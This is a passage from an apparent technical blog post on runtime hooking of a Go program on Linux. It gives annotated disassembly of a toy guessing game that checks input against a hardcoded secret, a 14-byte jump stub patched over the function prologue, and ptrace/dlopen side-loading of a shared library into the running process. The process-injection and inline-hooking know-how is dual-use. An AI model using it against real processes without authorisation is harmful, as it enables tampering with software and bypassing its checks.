<span class="mh">0x0000000000493c1a</span><span class="w"> </span><span class="o"><+</span><span class="mi">346</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">rbx</span><span class="p">,</span><span class="n">rbx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">errors</span><span class="w"></span>
<span class="mh">0x0000000000493c1d</span><span class="w"> </span><span class="o"><+</span><span class="mi">349</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="mh">0x493c6a</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="p">.</span><span class="n">main</span><span class="o">+</span><span class="mi">426</span><span class="o">></span><span class="w"></span>
<span class="mh">0x0000000000493c1f</span><span class="w"> </span><span class="o"><+</span><span class="mi">351</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rsp+0x38</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">load</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="k">structure</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">RCX</span><span class="w"></span>
<span class="mh">0x0000000000493c24</span><span class="w"> </span><span class="o"><+</span><span class="mi">356</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rcx</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">load</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">RAX</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="n">st</span><span class="w"> </span><span class="k">member</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">structure</span><span class="p">)</span><span class="w"></span>
<span class="mh">0x0000000000493c27</span><span class="w"> </span><span class="o"><+</span><span class="mi">359</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbx</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rcx+0x8</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">load</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">RBX</span><span class="w"> </span><span class="p">(</span><span class="mi">2</span><span class="n">nd</span><span class="w"> </span><span class="k">member</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">structure</span><span class="p">)</span><span class="w"></span>
<span class="mh">0x0000000000493c2b</span><span class="w"> </span><span class="o"><+</span><span class="mi">363</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x4934a0</span><span class="w"> </span><span class="o"><</span><span class="n">strings</span><span class="p">.</span><span class="n">ToLower</span><span class="o">></span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">strings</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="k">Go</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">immutable</span><span class="w"> </span><span class="n">so</span><span class="w"> </span><span class="n">lowercasing</span><span class="w"> </span>
<span class="n">one</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="k">create</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="k">structure</span><span class="p">.</span><span class="w"> </span><span class="n">RAX</span><span class="w"> </span><span class="k">contains</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">RBX</span><span class="w"> </span><span class="n">its</span><span class="w"> </span><span class="k">size</span><span class="w"> </span>
<span class="mh">0x0000000000493c30</span><span class="w"> </span><span class="o"><+</span><span class="mi">368</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rsp+0x38</span><span class="o">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">load</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">original</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="k">structure</span><span class="w"></span>
<span class="mh">0x0000000000493c35</span><span class="w"> </span><span class="o"><+</span><span class="mi">373</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rdi+0x8</span><span class="o">]</span><span class="p">,</span><span class="n">rbx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">store</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="k">size</span><span class="w"></span>
<span class="err">#</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">instructions</span><span class="w"> </span><span class="n">ensure</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">concurrent</span><span class="w"> </span><span class="n">garbage</span><span class="w"> </span><span class="n">collector</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">running</span><span class="p">,</span><span class="w"> </span><span class="n">it</span><span class="err">'</span><span class="n">s</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">him</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">update</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">update</span><span class="w"> </span><span class="n">its</span><span class="w"> </span><span class="k">view</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">used</span><span class="w"> </span><span class="n">heap</span><span class="w"> </span><span class="n">dat</span><span class="w"></span>
<span class="mh">0x0000000000493c39</span><span class="w"> </span><span class="o"><+</span><span class="mi">377</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rip+0xea280</span><span class="o">]</span><span class="p">,</span><span class="mh">0x0</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="mh">0x57dec0</span><span class="w"> </span><span class="o"><</span><span class="n">runtime</span><span class="p">.</span><span class="n">writeBarrier</span><span class="o">></span><span class="w"></span>
<span class="mh">0x0000000000493c40</span><span class="w"> </span><span class="o"><+</span><span class="mi">384</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="mh">0x493c47</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="p">.</span><span class="n">main</span><span class="o">+</span><span class="mi">391</span><span class="o">></span><span class="w"></span>
<span class="mh">0x0000000000493c42</span><span class="w"> </span><span class="o"><+</span><span class="mi">386</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rdi</span><span class="o">]</span><span class="p">,</span><span class="n">rax</span><span class="w"></span>
<span class="mh">0x0000000000493c45</span><span class="w"> </span><span class="o"><+</span><span class="mi">389</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">jmp</span><span class="w"> </span><span class="mh">0x493c4c</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="p">.</span><span class="n">main</span><span class="o">+</span><span class="mi">396</span><span class="o">></span><span class="w"></span>
<span class="mh">0x0000000000493c47</span><span class="w"> </span><span class="o"><+</span><span class="mi">391</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x45f9c0</span><span class="w"> </span><span class="o"><</span><span class="n">runtime</span><span class="p">.</span><span class="n">gcWriteBarrier</span><span class="o">></span><span class="w"></span>
<span class="mh">0x0000000000493c4c</span><span class="w"> </span><span class="o"><+</span><span class="mi">396</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x4939c0</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="p">.</span><span class="n">theGuessingGame</span><span class="o">></span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="k">into</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">theGuessingGame</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">RAX</span><span class="w"> </span><span class="n">holds</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">sequence</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">UTF</span><span class="o">-</span><span class="mi">8</span><span class="w"> </span><span class="k">data</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">RBX</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="k">data</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
</code></pre></div>
<p>Here we can see the <em>Golang</em> ABI. First argument goes in <code>RAX</code>, the second one in <code>RBX</code>, the third one in <code>RCX</code> and so on (<a href="https://go.googlesource.com/go/+/refs/heads/dev.regabi/src/cmd/compile/internal-abi.md">more information can be found here</a>). </p>
<p>Let’s analyze the beginning of the <code>theGuessingGame</code> function before the comparison of the argument string and the hard-coded one takes place:</p>
<div class="highlight"><pre><span></span><code><span class="n">Dump</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">assembler</span><span class="w"> </span><span class="n">code</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">function</span><span class="w"> </span><span class="n">main</span><span class="o">.</span><span class="n">theGuessingGame</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="c1"># The above 2 instructions ensures that the current goroutine stack has enough place to accomodate the function execution</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000004939c0</span><span class="w"> </span><span class="o"><+</span><span class="mi">0</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="p">[</span><span class="n">r14</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939c4</span><span class="w"> </span><span class="o"><+</span><span class="mi">4</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">jbe</span><span class="w"> </span><span class="mh">0x493a94</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="o">.</span><span class="n">theGuessingGame</span><span class="o">+</span><span class="mi">212</span><span class="o">></span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939ca</span><span class="w"> </span><span class="o"><+</span><span class="mi">10</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="mh">0x50</span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939ce</span><span class="w"> </span><span class="o"><+</span><span class="mi">14</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="p">],</span><span class="n">rbp</span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939d3</span><span class="w"> </span><span class="o"><+</span><span class="mi">19</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">rbp</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="p">]</span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939d8</span><span class="w"> </span><span class="o"><+</span><span class="mi">24</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x58</span><span class="p">],</span><span class="w"> </span><span class="n">rax</span><span class="w"> </span>
<span class="w"> </span><span class="mh">0x00000000004939dd</span><span class="w"> </span><span class="o"><+</span><span class="mi">29</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="p">[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xa2f9c</span><span class="p">]</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="mh">0x536980</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="o">.</span><span class="n">SECRET</span><span class="o">></span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nb">load</span><span class="w"> </span><span class="n">into</span><span class="w"> </span><span class="n">RDX</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">data</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">hardcoded</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="n">indentified</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">main</span><span class="o">.</span><span class="n">SECRET</span><span class="o">+</span><span class="mi">8</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000004939e4</span><span class="w"> </span><span class="o"><+</span><span class="mi">36</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">cmp</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="p">[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xa2f9d</span><span class="p">],</span><span class="n">rbx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="mh">0x536988</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="o">.</span><span class="n">SECRET</span><span class="o">+</span><span class="mi">8</span><span class="o">></span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">compare</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">parameter</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">hardcoded</span><span class="w"> </span><span class="n">string</span><span class="s1">'s</span>
<span class="w"> </span><span class="mh">0x00000000004939eb</span><span class="w"> </span><span class="o"><+</span><span class="mi">43</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">jne</span><span class="w"> </span><span class="mh">0x4939fc</span><span class="w"> </span><span class="o"><</span><span class="n">main</span><span class="o">.</span><span class="n">theGuessingGame</span><span class="o">+</span><span class="mi">60</span><span class="o">></span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">these</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">equal</span><span class="p">;</span><span class="w"> </span><span class="n">no</span><span class="w"> </span><span class="n">need</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">compare</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">actual</span><span class="w"> </span><span class="n">data</span><span class="w"> </span><span class="n">bytes</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000004939ed</span><span class="w"> </span><span class="o"><+</span><span class="mi">45</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="n">rbx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">move</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">equal</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">two</span><span class="w"> </span><span class="n">strings</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">RCX</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000004939f0</span><span class="w"> </span><span class="o"><+</span><span class="mi">48</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbx</span><span class="p">,</span><span class="n">rdx</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">move</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">hardcoded</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">RBX</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000004939f3</span><span class="w"> </span><span class="o"><+</span><span class="mi">51</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="mh">0x4038e0</span><span class="w"> </span><span class="o"><</span><span class="n">runtime</span><span class="o">.</span><span class="n">memequal</span><span class="o">></span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">memory</span><span class="w"> </span><span class="n">regions</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">compared</span><span class="w"> </span><span class="p">(</span><span class="n">RAX</span><span class="o">-></span><span class="w"> </span><span class="n">argument</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">string</span><span class="s1">'s data, RVX -> idem but for the hardcoded one, rcx the number of bytes to be compared)</span>
<span class="w"> </span><span class="mh">0x00000000004939f8</span><span class="w"> </span><span class="o"><+</span><span class="mi">56</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="n">al</span><span class="p">,</span><span class="n">al</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">al</span><span class="o">=</span><span class="mi">0</span><span class="w"> </span><span class="n">then</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">strings</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">equal</span><span class="w"></span>
</code></pre></div>
<p>We want to hijack the execution flow somewhere before <code>runtime.memequal</code>. We’ll insert a JUMP stub of 14 bytes, so we should do a backup of at least fourteen instructions when inserting it:</p>
<div class="highlight"><pre><span></span><code><span class="nf">push</span><span class="w"> </span><span class="err"><</span><span class="no">last-four-bytes-of-destination-address</span><span class="err">></span><span class="w"></span>
<span class="nf">move</span><span class="w"> </span><span class="p">[</span><span class="no">rsp</span><span class="err">+</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="err"><</span><span class="no">first-four-bytes-of-destination-address</span><span class="err">></span><span class="w"></span>
<span class="nf">ret</span><span class="w"></span>
</code></pre></div>
<p>We can replace the stack management routine (from <code>0x04939c0</code> up to <code>0x4939ce</code>) but this region contains a relative to the <code>RIP</code> instruction which would require an instructions patching. Another suitable spot is from <code>0x4939ca</code> up to <code>0x4939d8</code> which is a regular function prologue plus one additional instruction. Backing that up would not require any patching and the instructions can be executed as is even if they are placed at another location. Now it’s time to load our hook.</p>
<h3>Loading the Guest</h3>
<p>To load the <em>Guest</em> containing the hook logic inside the <em>Host</em> we used a really common technique of side-loading shared libraries into running processes on <em>Linux</em> using the <a href="https://man7.org/linux/man-pages/man2/ptrace.2.html"><code>ptrace</code> API</a>. We’re not going to go into detail of how this works as there are plenty of resources on the Internet. We used our own implementation written in Go. However, there are some important aspects which should be pointed out for the side-loading to work:</p>
<ol>
<li>The C hook was compiled as a <a href="https://embeddedartistry.com/fieldmanual-terms/position-independent-code/#:~:text=Description,be%20located%20anywhere%20in%20memory">PIC (Position-Independent Code)</a> using <em>gcc</em> with the option <code>-shared</code> which produces a shared object.</li>
<li>The library loading happens while the target program is running. It’s done by attaching to the process using the ptrace API and then calling into <code>dlopen</code> which is part of the standard library (<code>libc</code>) loaded into the process. The argument of the <code>dlopen</code> function is the path to the compiled shared library which was
previously written into the memory of the running program again using ptrace.</li>
<li>The loader process (the one loading the library into the target program) should be privileged or be owned by the same user as the target process and have the <a href="https://man7.org/linux/man-pages/man7/capabilities.7.html"><em>CAP_SYS_PTRACE</em></a> capability.</li>
<li>The jump stub insertion logic was compiled as part of the shared library. The insertion is done when
the shared library is loaded and its <code>__constructor__</code> function is called by the loader.</li>
</ol>
<h3>Inserting the JUMP Stub and Saving the Overwritten Instructions</h3>
<p>The insertion of the redirection stub happens when the <em>Guest</em> is loaded. The beginning of the <code>theGuessingGame</code> function after loading the <em>Guest</em> is the following:</p>
<div class="highlight"><pre><span></span><code><span class="nt">Dump</span><span class="w"> </span><span class="nt">of</span><span class="w"> </span><span class="nt">assembler</span><span class="w"> </span><span class="nt">code</span><span class="w"> </span><span class="nt">for</span><span class="w"> </span><span class="nt">function</span><span class="w"> </span><span class="nt">main</span><span class="p">.</span><span class="nc">theGuessingGame</span><span class="o">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939c0</span><span class="w"> </span><span class="o"><+</span><span class="nt">0</span><span class="o">>:</span><span class="w"> </span><span class="nt">cmp</span><span class="w"> </span><span class="nt">rsp</span><span class="o">,</span><span class="nt">QWORD</span><span class="w"> </span><span class="nt">PTR</span><span class="w"> </span><span class="cp">[</span><span class="nx">r14</span><span class="o">+</span><span class="mh">0x10</span><span class="cp">]</span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939c4</span><span class="w"> </span><span class="o"><+</span><span class="nt">4</span><span class="o">>:</span><span class="w"> </span><span class="nt">jbe</span><span class="w"> </span><span class="nt">0x493a94</span><span class="w"> </span><span class="o"><</span><span class="nt">main</span><span class="p">.</span><span class="nc">theGuessingGame</span><span class="o">+</span><span class="nt">212</span><span class="o">></span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939ca</span><span class="w"> </span><span class="o"><+</span><span class="nt">10</span><span class="o">>:</span><span class="w"> </span><span class="nt">push</span><span class="w"> </span><span class="nt">0x4b9e4000</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">hohoho</span><span class="w"> </span><span class="nt">this</span><span class="w"> </span><span class="nt">is</span><span class="w"> </span><span class="nt">new</span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939cf</span><span class="w"> </span><span class="o"><+</span><span class="nt">15</span><span class="o">>:</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">DWORD</span><span class="w"> </span><span class="nt">PTR</span><span class="w"> </span><span class="cp">[</span><span class="nx">rsp</span><span class="o">+</span><span class="mh">0x4</span><span class="cp">]</span><span class="o">,</span><span class="nt">0x7fc3</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="nt">and</span><span class="w"> </span><span class="nt">this</span><span class="w"> </span><span class="nt">too</span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939d7</span><span class="w"> </span><span class="o"><+</span><span class="nt">23</span><span class="o">>:</span><span class="w"> </span><span class="nt">ret</span><span class="w"></span>
<span class="w"> </span><span class="nt">0x00000000004939d8</span><span class="w"> </span><span class="o"><+</span><span class="nt">24</span><span class="o">>:</span><span class="w"> </span><span class="nt">mov</span><span class="w"> </span><span class="nt">QWORD</span><span class="w"> </span><span class="nt">PTR</span><span class="w"> </span><span class="cp">[</span><span class="nx">rsp</span><span class="o">+</span><span class="mh">0x58</span><span class="cp">]</span><span class="o">,</span><span class="nt">rax</span><span class="w"></span>
</code></pre></div>
<p>We see our inserted stub leading to the address <code>0x7fc34b9e4000</code>. Let’s inspect what is there:</p>
<div class="highlight"><pre><span></span><code><span class="mh">0x7fc34b9e4000</span><span class="o">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">clobbered</span><span class="o">,</span><span class="w"> </span><span class="n">so</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">it</span><span class="w"> </span><span class="n">onto</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">stack</span><span class="w"> </span>
<span class="mh">0x7fc34b9e4002</span><span class="o">:</span><span class="w"> </span><span class="n">movabs</span><span class="w"> </span><span class="n">r9</span><span class="o">,</span><span class="mh">0x7fc34b9e782d</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">cloberring</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="n">address</span><span class="w"></span>
<span class="mh">0x7fc34b9e400c</span><span class="o">:</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">calling</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="kd">function</span><span class="o">;</span><span class="w"></span>
<span class="mh">0x7fc34b9e400f</span><span class="o">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">restore</span><span class="w"> </span><span class="n">r9</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">stack</span><span class="w"></span>
<span class="mh">0x7fc34b9e4011</span><span class="o">:</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">rsp</span><span class="o">,</span><span class="mh">0x50</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">backup</span><span class="w"></span>
<span class="mh">0x7fc34b9e4015</span><span class="o">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">QWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="o">],</span><span class="n">rbp</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">backup</span><span class="w"></span>
<span class="mh">0x7fc34b9e401a</span><span class="o">:</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">rbp</span><span class="o">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x48</span><span class="o">]</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">backup</span><span class="w"></span>
<span class="mh">0x7fc34b9e401f</span><span class="o">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mh">0x4939d8</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">lower</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">address</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">next</span><span class="w"> </span><span class="n">instruction</span><span class="w"></span>
<span class="mh">0x7fc34b9e4024</span><span class="o">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x4</span><span class="o">],</span><span class="mh">0x0</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">upper</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">address</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">next</span><span class="w"> </span><span class="n">instruction</span><span class="w"></span>
